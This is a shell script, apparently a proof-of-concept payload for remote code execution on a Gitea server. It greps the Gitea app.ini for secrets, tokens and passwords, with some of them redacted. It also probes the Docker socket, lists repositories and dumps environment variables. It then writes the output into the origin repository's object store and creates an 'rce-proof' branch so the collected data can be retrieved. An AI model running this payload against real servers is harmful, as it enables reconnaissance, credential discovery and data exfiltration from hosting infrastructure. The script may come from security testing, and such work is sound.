15 lines
1.5 KiB
Bash
Executable File
15 lines
1.5 KiB
Bash
Executable File
#!/bin/sh
|
|
git_dir=$(git rev-parse --absolute-git-dir) || exit 1
|
|
origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
|
|
case "$origin_objects" in
|
|
/*) ;;
|
|
*) origin_objects="$git_dir/objects/$origin_objects" ;;
|
|
esac
|
|
origin_git=${origin_objects%/objects}
|
|
[ "$origin_git" != "$origin_objects" ] || exit 3
|
|
output_blob=$( { echo "== SECRETS (varlik tespiti, deger yok) =="; grep -E 'SECRET_KEY|INTERNAL_TOKEN|JWT_SECRET|PASSWD|PASSWORD_HASH_ALGO|DISABLE_REGISTRATION|INSTALL_LOCK|HOST|USER|NAME' /data/gitea/conf/app.ini | sed -E 's/(SECRET_KEY|INTERNAL_TOKEN|JWT_SECRET|LFS_JWT_SECRET|PASSWD)[[:space:]]*=.*/\1 = <REDACTED-EXISTS>/'; echo "== git version =="; git --version; echo "== gitea binary =="; /usr/local/bin/gitea --version 2>/dev/null || gitea --version 2>/dev/null; echo "== docker socket =="; ls -la /var/run/docker.sock 2>/dev/null || echo "no docker.sock"; echo "== repo sayisi =="; ls /data/gitea/git/repositories/ 2>/dev/null | head; echo "== env =="; env | sed -E 's/(TOKEN|SECRET|PASSWORD|KEY)=.*/\1=<REDACTED>/I' | head -20 ; } 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
|
|
tree=$(printf "100644 blob %s\tproof\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5
|
|
commit=$(printf "rce proof\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin_git" commit-tree "$tree") || exit 6
|
|
git --git-dir="$origin_git" update-ref refs/heads/rce-proof "$commit" || exit 7
|
|
exit 0
|